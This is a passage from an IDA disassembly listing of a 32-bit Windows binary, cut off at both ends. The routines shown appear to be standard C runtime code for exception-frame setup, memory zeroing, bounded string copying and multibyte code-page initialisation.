sub_40DBD2 push esi call sub_414405 push esi call sub_4182A8 push esi call sub_41809E push esi call nullsub_1 push esi call sub_416ACB push offset sub_412726 call sub_411D53 add esp, 24h mov dword_4231C0, eax pop esi retn sub_412755 endp ; --------------------------------------------------------------------------- align 4 ; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_412800 proc near ; DATA XREF: __SEH_prolog4o var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 004140D1 SIZE 00000019 BYTES sub esp, 14h push ebx mov ebx, [esp+18h+arg_4] push ebp push esi mov esi, [ebx+8] xor esi, dword_4231C4 push edi mov eax, [esi] cmp eax, 0FFFFFFFEh mov [esp+24h+var_11], 0 mov [esp+24h+var_C], 1 lea edi, [ebx+10h] jz short loc_412838 mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_410BCD loc_412838: ; CODE XREF: sub_412800+29j mov ecx, [esi+0Ch] mov eax, [esi+8] add ecx, edi xor ecx, [eax+edi] call sub_410BCD mov eax, [esp+24h+arg_0] test byte ptr [eax+4], 66h jnz loc_412975 mov ebp, [ebx+0Ch] cmp ebp, 0FFFFFFFEh mov ecx, [esp+24h+arg_8] lea edx, [esp+24h+var_8] mov [esp+24h+var_8], eax mov [esp+24h+var_4], ecx mov [ebx-4], edx jz short loc_4128CF loc_412871: ; CODE XREF: sub_412800+A2j lea eax, [ebp+ebp*2+0] mov ecx, [esi+eax*4+14h] test ecx, ecx lea ebx, [esi+eax*4+10h] mov eax, [ebx] mov [esp+24h+var_10], eax jz short loc_41289D mov edx, edi call sub_4140BA test eax, eax mov [esp+24h+var_11], 1 jl short loc_4128DB jg short loc_4128E5 mov eax, [esp+24h+var_10] loc_41289D: ; CODE XREF: sub_412800+85j cmp eax, 0FFFFFFFEh mov ebp, eax jnz short loc_412871 cmp [esp+24h+var_11], 0 jz short loc_4128CF loc_4128AB: ; CODE XREF: sub_412800+E3j ; sub_412800+191j mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_4128BF mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_410BCD loc_4128BF: ; CODE XREF: sub_412800+B0j mov ecx, [esi+0Ch] mov eax, [esi+8] add ecx, edi xor ecx, [eax+edi] call sub_410BCD loc_4128CF: ; CODE XREF: sub_412800+6Fj ; sub_412800+A9j ... mov eax, [esp+24h+var_C] pop edi pop esi pop ebp pop ebx add esp, 14h retn ; --------------------------------------------------------------------------- loc_4128DB: ; CODE XREF: sub_412800+95j mov [esp+24h+var_C], 0 jmp short loc_4128AB ; --------------------------------------------------------------------------- loc_4128E5: ; CODE XREF: sub_412800+97j mov ecx, [esp+24h+arg_0] cmp dword ptr [ecx], 0E06D7363h jnz short loc_41291B cmp off_41CDFC, 0 jz short loc_41291B push offset off_41CDFC call sub_4152A2 add esp, 4 test eax, eax jz short loc_41291B mov edx, [esp+24h+arg_0] push 1 push edx call off_41CDFC add esp, 8 loc_41291B: ; CODE XREF: sub_412800+EFj ; sub_412800+F8j ... mov ecx, [esp+24h+arg_4] call sub_4140EA mov eax, [esp+24h+arg_4] cmp [eax+0Ch], ebp jz short loc_412940 push offset dword_4231C4 push edi mov edx, ebp mov ecx, eax call sub_414104 mov eax, [esp+24h+arg_4] loc_412940: ; CODE XREF: sub_412800+12Bj mov ecx, [esp+24h+var_10] mov [eax+0Ch], ecx mov eax, [esi] cmp eax, 0FFFFFFFEh jz short loc_41295B mov ecx, [esi+4] add ecx, edi xor ecx, [eax+edi] call sub_410BCD loc_41295B: ; CODE XREF: sub_412800+14Cj mov ecx, [esi+0Ch] mov edx, [esi+8] add ecx, edi xor ecx, [edx+edi] call sub_410BCD mov ecx, [ebx+8] mov edx, edi jmp loc_4140D1 ; --------------------------------------------------------------------------- loc_412975: ; CODE XREF: sub_412800+50j cmp dword ptr [ebx+0Ch], 0FFFFFFFEh jz loc_4128CF push offset dword_4231C4 push edi mov ecx, ebx mov edx, 0FFFFFFFEh call sub_414104 jmp loc_4128AB sub_412800 endp ; =============== S U B R O U T I N E ======================================= sub_412996 proc near ; CODE XREF: sub_40DBDC+CEp ; sub_40DCD8+18p ... and dword_42600C, 0 retn sub_412996 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41299E proc near ; CODE XREF: sub_4129F5+31p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 mov [ebp+var_4], edi mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] shr ecx, 7 pxor xmm0, xmm0 jmp short loc_4129BE ; --------------------------------------------------------------------------- db 8Dh, 0A4h, 24h, 4 dup(0) align 2 loc_4129BE: ; CODE XREF: sub_41299E+16j ; sub_41299E+4Ej movdqa oword ptr [edi], xmm0 movdqa oword ptr [edi+10h], xmm0 movdqa oword ptr [edi+20h], xmm0 movdqa oword ptr [edi+30h], xmm0 movdqa oword ptr [edi+40h], xmm0 movdqa oword ptr [edi+50h], xmm0 movdqa oword ptr [edi+60h], xmm0 movdqa oword ptr [edi+70h], xmm0 lea edi, [edi+80h] dec ecx jnz short loc_4129BE mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_41299E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129F5 proc near ; CODE XREF: sub_40DD10+27j ; sub_4129F5+7Dp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], edi mov eax, [ebp+arg_0] cdq mov edi, eax xor edi, edx sub edi, edx and edi, 0Fh xor edi, edx sub edi, edx test edi, edi jnz short loc_412A4F mov ecx, [ebp+arg_8] mov edx, ecx and edx, 7Fh mov [ebp+var_C], edx cmp ecx, edx jz short loc_412A34 sub ecx, edx push ecx push eax call sub_41299E add esp, 8 mov eax, [ebp+arg_0] mov edx, [ebp+var_C] loc_412A34: ; CODE XREF: sub_4129F5+2Bj test edx, edx jz short loc_412A7D add eax, [ebp+arg_8] sub eax, edx mov [ebp+var_8], eax xor eax, eax mov edi, [ebp+var_8] mov ecx, [ebp+var_C] rep stosb mov eax, [ebp+arg_0] jmp short loc_412A7D ; --------------------------------------------------------------------------- loc_412A4F: ; CODE XREF: sub_4129F5+1Cj neg edi add edi, 10h mov [ebp+var_10], edi xor eax, eax mov edi, [ebp+arg_0] mov ecx, [ebp+var_10] rep stosb mov eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] add ecx, eax sub edx, eax push edx push 0 push ecx call sub_4129F5 add esp, 0Ch mov eax, [ebp+arg_0] loc_412A7D: ; CODE XREF: sub_4129F5+41j ; sub_4129F5+58j mov edi, [ebp+var_4] mov esp, ebp pop ebp retn sub_4129F5 endp ; =============== S U B R O U T I N E ======================================= sub_412A84 proc near ; DATA XREF: .vty:0041C230o and dword_426004, 0 call sub_4183E1 mov dword_426004, eax xor eax, eax retn sub_412A84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A98 proc near ; CODE XREF: sub_40DE0A+7p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_41FA10 call __SEH_prolog4 push 0Eh call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] mov ecx, [esi+4] test ecx, ecx jz short loc_412AE9 mov eax, dword_424400 mov edx, offset dword_4243FC loc_412AC4: ; CODE XREF: sub_412A98+65j mov [ebp+var_1C], eax test eax, eax jz short loc_412ADC cmp [eax], ecx jnz short loc_412AFB mov ecx, [eax+4] mov [edx+4], ecx push eax call sub_41112C pop ecx loc_412ADC: ; CODE XREF: sub_412A98+31j push dword ptr [esi+4] call sub_41112C pop ecx and dword ptr [esi+4], 0 loc_412AE9: ; CODE XREF: sub_412A98+20j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412AFF call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_412AFB: ; CODE XREF: sub_412A98+35j mov edx, eax jmp short loc_412AC4 sub_412A98 endp ; =============== S U B R O U T I N E ======================================= sub_412AFF proc near ; CODE XREF: sub_412A98+58p push 0Eh call sub_416CCE pop ecx retn sub_412AFF endp ; =============== S U B R O U T I N E ======================================= sub_412B08 proc near ; CODE XREF: sub_412755+9p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_424404, eax retn sub_412B08 endp ; =============== S U B R O U T I N E ======================================= sub_412B12 proc near ; CODE XREF: sub_40DE68+Bp ; sub_411069+8Cp ... arg_0 = dword ptr 4 push dword_424404 call sub_411DBF test eax, eax pop ecx jz short loc_412B31 push [esp+arg_0] call eax ; sub_41AEA1 test eax, eax pop ecx jz short loc_412B31 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_412B31: ; CODE XREF: sub_412B12+Ej ; sub_412B12+19j xor eax, eax retn sub_412B12 endp ; =============== S U B R O U T I N E ======================================= sub_412B34 proc near ; CODE XREF: sub_40F6D9+9p ; sub_40F6D9:loc_40F6EBp mov eax, offset dword_423280 retn sub_412B34 endp ; =============== S U B R O U T I N E ======================================= sub_412B3A proc near ; CODE XREF: sub_40F6D9:loc_40F6F2p mov eax, offset off_4231D0 retn sub_412B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412B40 proc near ; CODE XREF: sub_41422C+F1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] xor ebx, ebx cmp [ebp+arg_C], ebx push edi jnz short loc_412B60 cmp esi, ebx jnz short loc_412B64 cmp [ebp+arg_4], ebx jnz short loc_412B6B loc_412B59: ; CODE XREF: sub_412B40+4Dj ; sub_412B40+8Cj xor eax, eax loc_412B5B: ; CODE XREF: sub_412B40+44j ; sub_412B40+9Ej pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_412B60: ; CODE XREF: sub_412B40+Ej cmp esi, ebx jz short loc_412B6B loc_412B64: ; CODE XREF: sub_412B40+12j mov edi, [ebp+arg_4] cmp edi, ebx ja short loc_412B86 loc_412B6B: ; CODE XREF: sub_412B40+17j ; sub_412B40+22j ... call sub_40F79E push 16h pop esi mov [eax], esi loc_412B75: ; CODE XREF: sub_412B40+B1j push ebx push ebx push ebx push ebx push ebx call sub_40DCD8 add esp, 14h mov eax, esi jmp short loc_412B5B ; --------------------------------------------------------------------------- loc_412B86: ; CODE XREF: sub_412B40+29j cmp [ebp+arg_C], ebx jnz short loc_412B8F mov [esi], bl jmp short loc_412B59 ; --------------------------------------------------------------------------- loc_412B8F: ; CODE XREF: sub_412B40+49j mov edx, [ebp+arg_8] cmp edx, ebx jnz short loc_412B9A mov [esi], bl jmp short loc_412B6B ; --------------------------------------------------------------------------- loc_412B9A: ; CODE XREF: sub_412B40+54j cmp [ebp+arg_C], 0FFFFFFFFh mov eax, esi jnz short loc_412BB1 loc_412BA2: ; CODE XREF: sub_412B40+6Dj mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_412BCA dec edi jnz short loc_412BA2 jmp short loc_412BCA ; --------------------------------------------------------------------------- loc_412BB1: ; CODE XREF: sub_412B40+60j ; sub_412B40+81j mov cl, [edx] mov [eax], cl inc eax inc edx cmp cl, bl jz short loc_412BC3 dec edi jz short loc_412BC3 dec [ebp+arg_C] jnz short loc_412BB1 loc_412BC3: ; CODE XREF: sub_412B40+79j ; sub_412B40+7Cj cmp [ebp+arg_C], ebx jnz short loc_412BCA mov [eax], bl loc_412BCA: ; CODE XREF: sub_412B40+6Aj ; sub_412B40+6Fj ... cmp edi, ebx jnz short loc_412B59 cmp [ebp+arg_C], 0FFFFFFFFh jnz short loc_412BE3 mov eax, [ebp+arg_4] push 50h mov [esi+eax-1], bl pop eax jmp loc_412B5B ; --------------------------------------------------------------------------- loc_412BE3: ; CODE XREF: sub_412B40+92j mov [esi], bl call sub_40F79E push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_412B75 sub_412B40 endp ; =============== S U B R O U T I N E ======================================= sub_412BF3 proc near ; CODE XREF: sub_412F1F+11Ep ; sub_412F1F+173p sub eax, 3A4h jz short loc_412C1C sub eax, 4 jz short loc_412C16 sub eax, 0Dh jz short loc_412C10 dec eax jz short loc_412C0A xor eax, eax retn ; --------------------------------------------------------------------------- loc_412C0A: ; CODE XREF: sub_412BF3+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_412C10: ; CODE XREF: sub_412BF3+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_412C16: ; CODE XREF: sub_412BF3+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_412C1C: ; CODE XREF: sub_412BF3+5j mov eax, 411h retn sub_412BF3 endp ; =============== S U B R O U T I N E ======================================= sub_412C22 proc near ; CODE XREF: sub_412F1F+2Bp push ebx push ebp push esi push edi mov ebp, 101h mov esi, eax push ebp xor edi, edi lea ebx, [esi+1Ch] push edi push ebx call sub_40DD10 mov [esi+4], edi mov [esi+8], edi mov [esi+0Ch], edi xor eax, eax lea edi, [esi+10h] stosd stosd stosd mov eax, offset dword_423288 add esp, 0Ch sub eax, esi loc_412C55: ; CODE XREF: sub_412C22+3Aj mov cl, [eax+ebx] mov [ebx], cl inc ebx dec ebp jnz short loc_412C55 lea ecx, [esi+11Dh] mov esi, 100h loc_412C69: ; CODE XREF: sub_412C22+4Ej mov dl, [ecx+eax] mov [ecx], dl inc ecx dec esi jnz short loc_412C69 pop edi pop esi pop ebp pop ebx retn sub_412C22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=49Ch sub_412C77 proc near ; CODE XREF: sub_412F1F+141p var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_512 = byte ptr -512h var_511 = byte ptr -511h var_504 = word ptr -504h var_304 = byte ptr -304h var_204 = byte ptr -204h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp lea ebp, [esp-49Ch] sub esp, 51Ch mov eax, dword_4231C4 xor eax, ebp mov [ebp+49Ch+var_4], eax push ebx push edi lea eax, [ebp+49Ch+var_518] push eax push dword ptr [esi+4] call dword_41C160 ; GetCPInfo test eax, eax mov edi, 100h jz loc_412D9D xor eax, eax loc_412CB0: ; CODE XREF: sub_412C77+43j mov [ebp+eax+49Ch+var_104], al inc eax cmp eax, edi jb short loc_412CB0 mov al, [ebp+49Ch+var_512] test al, al mov [ebp+49Ch+var_104], 20h jz short loc_412CF5 lea ebx, [ebp+49Ch+var_511] loc_412CCD: ; CODE XREF: sub_412C77+7Cj movzx ecx, al movzx eax, byte ptr [ebx] cmp ecx, eax ja short loc_412CED sub eax, ecx inc eax push eax lea edx, [ebp+ecx+49Ch+var_104] push 20h push edx call sub_40DD10 add esp, 0Ch loc_412CED: ; CODE XREF: sub_412C77+5Ej inc ebx mov al, [ebx] inc ebx test al, al jnz short loc_412CCD loc_412CF5: ; CODE XREF: sub_412C77+51j push 0 push dword ptr [esi+0Ch] lea eax, [ebp+49Ch+var_504] push dword ptr [esi+4] push eax push edi lea eax, [ebp+49Ch+var_104] push eax push 1 push 0 call sub_418606 xor ebx, ebx push ebx push dword ptr [esi+4] lea eax, [ebp+49Ch+var_204] push edi push eax push edi lea eax, [ebp+49Ch+var_104] push eax push edi push dword ptr [esi+0Ch] push ebx call sub_413945 add esp, 44h push ebx push dword ptr [esi+4] lea eax, [ebp+49Ch+var_304] push edi push eax push edi lea eax, [ebp+49Ch+var_104] push eax push 200h push dword ptr [esi+0Ch] push ebx call sub_413945 add esp, 24h xor eax, eax loc_412D5C: ; CODE XREF: sub_412C77+122j movzx ecx, [ebp+eax*2+49Ch+var_504] test cl, 1 jz short loc_412D74 or byte ptr [esi+eax+1Dh], 10h mov cl, [ebp+eax+49Ch+var_204] jmp short loc_412D85 ; --------------------------------------------------------------------------- loc_412D74: ; CODE XREF: sub_412C77+EDj test cl, 2 jz short loc_412D8E or byte ptr [esi+eax+1Dh], 20h mov cl, [ebp+eax+49Ch+var_304] loc_412D85: ; CODE XREF: sub_412C77+FBj mov [esi+eax+11Dh], cl jmp short loc_412D96 ; --------------------------------------------------------------------------- loc_412D8E: ; CODE XREF: sub_412C77+100j mov byte ptr [esi+eax+11Dh], 0 loc_412D96: ; CODE XREF: sub_412C77+115j inc eax cmp eax, edi jb short loc_412D5C jmp short loc_412DEA ; --------------------------------------------------------------------------- loc_412D9D: ; CODE XREF: sub_412C77+31j lea eax, [esi+11Dh] mov [ebp+49Ch+var_51C], 0FFFFFF9Fh xor ecx, ecx sub [ebp+49Ch+var_51C], eax loc_412DAF: ; CODE XREF: sub_412C77+171j mov edx, [ebp+49Ch+var_51C] lea eax, [esi+ecx+11Dh] add edx, eax lea ebx, [edx+20h] cmp ebx, 19h ja short loc_412DCF or byte ptr [esi+ecx+1Dh], 10h mov dl, cl add dl, 20h jmp short loc_412DDE ; --------------------------------------------------------------------------- loc_412DCF: ; CODE XREF: sub_412C77+14Aj cmp edx, 19h ja short loc_412DE2 or byte ptr [esi+ecx+1Dh], 20h mov dl, cl sub dl, 20h loc_412DDE: ; CODE XREF: sub_412C77+156j mov [eax], dl jmp short loc_412DE5 ; --------------------------------------------------------------------------- loc_412DE2: ; CODE XREF: sub_412C77+15Bj mov byte ptr [eax], 0 loc_412DE5: ; CODE XREF: sub_412C77+169j inc ecx cmp ecx, edi jb short loc_412DAF loc_412DEA: ; CODE XREF: sub_412C77+124j mov ecx, [ebp+49Ch+var_4] pop edi xor ecx, ebp pop ebx call sub_410BCD add ebp, 49Ch leave retn sub_412C77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E01 proc near ; CODE XREF: sub_40F7E2+57p ; sub_4130CA+1Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_41FA30 call __SEH_prolog4 call sub_411FFD mov edi, eax mov eax, dword_4237AC test [edi+70h], eax jz short loc_412E3B cmp dword ptr [edi+6Ch], 0 jz short loc_412E3B mov esi, [edi+68h] loc_412E27: ; CODE XREF: sub_412E01+96j test esi, esi jnz short loc_412E33 push 20h call sub_412499 pop ecx loc_412E33: ; CODE XREF: sub_412E01+28j mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_412E3B: ; CODE XREF: sub_412E01+1Bj ; sub_412E01+21j push 0Dh call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [edi+68h] mov [ebp+var_1C], esi cmp esi, dword_4236B0 jz short loc_412E8B test esi, esi jz short loc_412E73 push esi call dword_41C158 ; InterlockedDecrement test eax, eax jnz short loc_412E73 cmp esi, offset dword_423288 jz short loc_412E73 push esi call sub_41112C pop ecx loc_412E73: ; CODE XREF: sub_412E01+56j ; sub_412E01+61j ... mov eax, dword_4236B0 mov [edi+68h], eax mov esi, dword_4236B0 mov [ebp+var_1C], esi push esi call dword_41C150 ; InterlockedIncrement loc_412E8B: ; CODE XREF: sub_412E01+52j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_412E9C jmp short loc_412E27 sub_412E01 endp ; =============== S U B R O U T I N E ======================================= sub_412E99 proc near ; DATA XREF: .vty:0041FA48o mov esi, [ebp-1Ch] sub_412E99 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_412E9C proc near ; CODE XREF: sub_412E01+91p push 0Dh call sub_416CCE pop ecx retn sub_412E9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412EA5 proc near ; CODE XREF: sub_412F1F+19p ; sub_4130CA+25p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx push ebx lea ecx, [ebp+var_10] call sub_40F7E2 cmp esi, 0FFFFFFFEh mov dword_424408, ebx jnz short loc_412EE0 mov dword_424408, 1 call dword_41C168 ; GetOEMCP loc_412ED2: ; CODE XREF: sub_412EA5+50j ; sub_412EA5+67j cmp [ebp+var_4], bl jz short loc_412F1C mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_412F1C ; --------------------------------------------------------------------------- loc_412EE0: ; CODE XREF: sub_412EA5+1Bj cmp esi, 0FFFFFFFDh jnz short loc_412EF7 mov dword_424408, 1 call dword_41C164 ; GetACP jmp short loc_412ED2 ; --------------------------------------------------------------------------- loc_412EF7: ; CODE XREF: sub_412EA5+3Ej cmp esi, 0FFFFFFFCh jnz short loc_412F0E mov eax, [ebp+var_10] mov eax, [eax+4] mov dword_424408, 1 jmp short loc_412ED2 ; --------------------------------------------------------------------------- loc_412F0E: ; CODE XREF: sub_412EA5+55j cmp [ebp+var_4], bl jz short loc_412F1A mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_412F1A: ; CODE XREF: sub_412EA5+6Cj mov eax, esi loc_412F1C: ; CODE XREF: sub_412EA5+30j ; sub_412EA5+39j pop ebx leave retn sub_412EA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F1F proc near ; CODE XREF: sub_4130CA+5Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, dword_4231C4 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi call sub_412EA5 mov edi, eax xor esi, esi cmp edi, esi mov [ebp+arg_0], edi jnz short loc_412F56 loc_412F48: ; CODE XREF: sub_412F1F+193j mov eax, ebx call sub_412C22 loc_412F4F: ; CODE XREF: sub_412F1F+146j xor eax, eax jmp loc_4130BB ; --------------------------------------------------------------------------- loc_412F56: ; CODE XREF: sub_412F1F+27j mov [ebp+var_1C], esi xor eax, eax loc_412F5B: ; CODE XREF: sub_412F1F+4Fj cmp dword_4236B8[eax], edi jz short loc_412FCA inc [ebp+var_1C] add eax, 30h cmp eax, 0F0h jb short loc_412F5B lea eax, [ebp+var_18] push eax push edi call dword_41C160 ; GetCPInfo test eax, eax jz loc_4130AC push 101h lea eax, [ebx+1Ch] push esi push eax call sub_40DD10 xor edx, edx inc edx add esp, 0Ch cmp [ebp+var_18], edx mov [ebx+4], edi mov [ebx+0Ch], esi jbe loc_41309F cmp [ebp+var_12], 0 jz loc_413080 lea esi, [ebp+var_11] loc_412FB4: ; CODE XREF: sub_412F1F+15Bj mov cl, [esi] test cl, cl jz loc_413080 movzx eax, byte ptr [esi-1] movzx ecx, cl jmp loc_413070 ; --------------------------------------------------------------------------- loc_412FCA: ; CODE XREF: sub_412F1F+42j push 101h lea eax, [ebx+1Ch] push esi push eax call sub_40DD10 mov ecx, [ebp+var_1C] add esp, 0Ch imul ecx, 30h mov [ebp+var_20], esi lea esi, dword_4236C8[ecx] mov [ebp+var_1C], esi jmp short loc_41301A ; --------------------------------------------------------------------------- loc_412FF0: ; CODE XREF: sub_412F1F+FEj mov al, [esi+1] test al, al jz short loc_41301F movzx edi, byte ptr [esi] movzx eax, al jmp short loc_413011 ; --------------------------------------------------------------------------- loc_412FFF: ; CODE XREF: sub_412F1F+F4j mov eax, [ebp+var_20] mov al, byte_4236B4[eax] or [ebx+edi+1Dh], al movzx eax, byte ptr [esi+1] inc edi loc_413011: ; CODE XREF: sub_412F1F+DEj cmp edi, eax jbe short loc_412FFF mov edi, [ebp+arg_0] inc esi inc esi loc_41301A: ; CODE XREF: sub_412F1F+CFj ; sub_412F1F+110j cmp byte ptr [esi], 0 jnz short loc_412FF0 loc_41301F: ; CODE XREF: sub_412F1F+D6j mov esi, [ebp+var_1C] inc [ebp+var_20] add esi, 8 cmp [ebp+var_20], 4 mov [ebp+var_1C], esi jb short loc_41301A mov eax, edi mov [ebx+4], edi mov dword ptr [ebx+8], 1 call sub_412BF3 push 6 mov [ebx+0Ch], eax lea eax, [ebx+10h] lea ecx, dword_4236BC[ecx] pop edx loc_413051: ; CODE XREF: sub_412F1F+13Dj mov si, [ecx] inc ecx mov [eax], si inc ecx inc eax inc eax dec edx jnz short loc_413051 loc_41305E: ; CODE XREF: sub_412F1F+18Bj mov esi, ebx call sub_412C77 jmp loc_412F4F ; --------------------------------------------------------------------------- loc_41306A: ; CODE XREF: sub_412F1F+153j or byte ptr [ebx+eax+1Dh], 4 inc eax loc_413070: ; CODE XREF: sub_412F1F+A6j cmp eax, ecx jbe short loc_41306A inc esi inc esi cmp byte ptr [esi-1], 0 jnz loc_412FB4 loc_413080: ; CODE XREF: sub_412F1F+8Cj ; sub_412F1F+99j lea eax, [ebx+1Eh] mov ecx, 0FEh loc_413088: ; CODE XREF: sub_412F1F+16Ej or byte ptr [eax], 8 inc eax dec ecx jnz short loc_413088 mov eax, [ebx+4] call sub_412BF3 mov [ebx+0Ch], eax mov [ebx+8], edx jmp short loc_4130A2 ; --------------------------------------------------------------------------- loc_41309F: ; CODE XREF: sub_412F1F+82j mov [ebx+8], esi loc_4130A2: ; CODE XREF: sub_412F1F+17Ej xor eax, eax lea edi, [ebx+10h] stosd stosd stosd jmp short loc_41305E ; --------------------------------------------------------------------------- loc_4130AC: ; CODE XREF: sub_412F1F+5Ej cmp dword_424408, esi jnz loc_412F48 or eax, 0FFFFFFFFh loc_4130BB: ; CODE XREF: sub_412F1F+32j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_410BCD leave retn sub_412F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4130CA proc near ; CODE XREF: sub_413264+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00413236 SIZE 0000002E BYTES push 14h push offset dword_41FA50 call __SEH_prolog4 or [ebp+var_20], 0FFFFFFFFh call sub_411FFD mov edi, eax mov [ebp+var_24], edi call sub_412E01 mov ebx, [edi+68h] mov esi, [ebp+arg_0] call sub_412EA5 mov [ebp+arg_0], eax cmp eax, [ebx+4] jz loc_413257 push 220h call sub_412323 pop ecx mov ebx, eax test ebx, ebx jz loc_41325B mov ecx, 88h mov esi, [edi+68h] mov edi, ebx rep movsd and dword ptr [ebx], 0 push ebx push [ebp+arg_0] call sub_412F1F pop ecx pop ecx mov [ebp+var_20], eax test eax, eax jnz loc_413236 mov esi, [ebp+var_24] push dword ptr [esi+68h] call dword_41C158 ; InterlockedDecrement test eax, eax jnz short loc_41315B mov eax, [esi+68h] cmp eax, offset dword_423288 jz short loc_41315B push eax call sub_41112C pop ecx loc_41315B: ; CODE XREF: sub_4130CA+7Ej ; sub_4130CA+88j mov [esi+68h], ebx push ebx mov edi, dword_41C150 call edi ; InterlockedIncrement test byte ptr [esi+70h], 2 jnz loc_41325B test byte ptr dword_4237AC, 1 jnz loc_41325B push 0Dh call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [ebx+4] mov dword_424418, eax mov eax, [ebx+8] mov dword_42441C, eax mov eax, [ebx+0Ch] mov dword_424420, eax xor eax, eax loc_4131A4: ; CODE XREF: sub_4130CA+F0j mov [ebp+var_1C], eax cmp eax, 5 jge short loc_4131BC mov cx, [ebx+eax*2+10h] mov word_42440C[eax*2], cx inc eax jmp short loc_4131A4 ; --------------------------------------------------------------------------- loc_4131BC: ; CODE XREF: sub_4130CA+E0j xor eax, eax loc_4131BE: ; CODE XREF: sub_4130CA+109j mov [ebp+var_1C], eax cmp eax, 101h jge short loc_4131D5 mov cl, [eax+ebx+1Ch] mov byte_4234A8[eax], cl inc eax jmp short loc_4131BE ; --------------------------------------------------------------------------- loc_4131D5: ; CODE XREF: sub_4130CA+FCj xor eax, eax loc_4131D7: ; CODE XREF: sub_4130CA+125j mov [ebp+var_1C], eax cmp eax, 100h jge short loc_4131F1 mov cl, [eax+ebx+11Dh] mov byte_4235B0[eax], cl inc eax jmp short loc_4131D7 ; --------------------------------------------------------------------------- loc_4131F1: ; CODE XREF: sub_4130CA+115j push dword_4236B0 call dword_41C158 ; InterlockedDecrement test eax, eax jnz short loc_413214 mov eax, dword_4236B0 cmp eax, offset dword_423288 jz short loc_413214 push eax call sub_41112C pop ecx loc_413214: ; CODE XREF: sub_4130CA+135j ; sub_4130CA+141j mov dword_4236B0, ebx push ebx call edi ; InterlockedIncrement mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41322B jmp short loc_41325B sub_4130CA endp ; =============== S U B R O U T I N E ======================================= sub_41322B proc near ; CODE XREF: sub_4130CA+15Ap ; DATA XREF: .vty:0041FA68o push 0Dh call sub_416CCE pop ecx retn sub_41322B endp ; --------------------------------------------------------------------------- jmp short loc_41325B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4130CA loc_413236: ; CODE XREF: sub_4130CA+6Aj cmp eax, 0FFFFFFFFh jnz short loc_41325B cmp ebx, offset dword_423288 jz short loc_41324A push ebx call sub_41112C pop ecx loc_41324A: ; CODE XREF: sub_4130CA+177j call sub_40F79E mov dword ptr [eax], 